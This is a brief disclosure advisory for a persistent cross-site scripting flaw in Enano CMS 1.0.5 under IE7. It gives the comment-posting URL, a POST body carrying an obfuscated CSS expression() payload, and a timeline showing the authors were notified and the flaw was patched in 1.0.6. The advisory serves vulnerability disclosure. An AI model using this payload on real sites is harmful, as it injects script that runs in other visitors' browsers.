Enano 1.0.5 persistent XSS (IE7, numeric)
http://enanocms.org

http://site/enano-1.0.5/index.php?title=Main_Page&do=comments&sub=postcomment
POST: name=XSS&subj=TEST&text=%3C/xss/*-*/style=xss:e/**/xpression(alert(000))%3E

Authors notified: Jan 16
Patch 1.0.6:      Jan 17
Public:           Jan 23

http://nukeit.org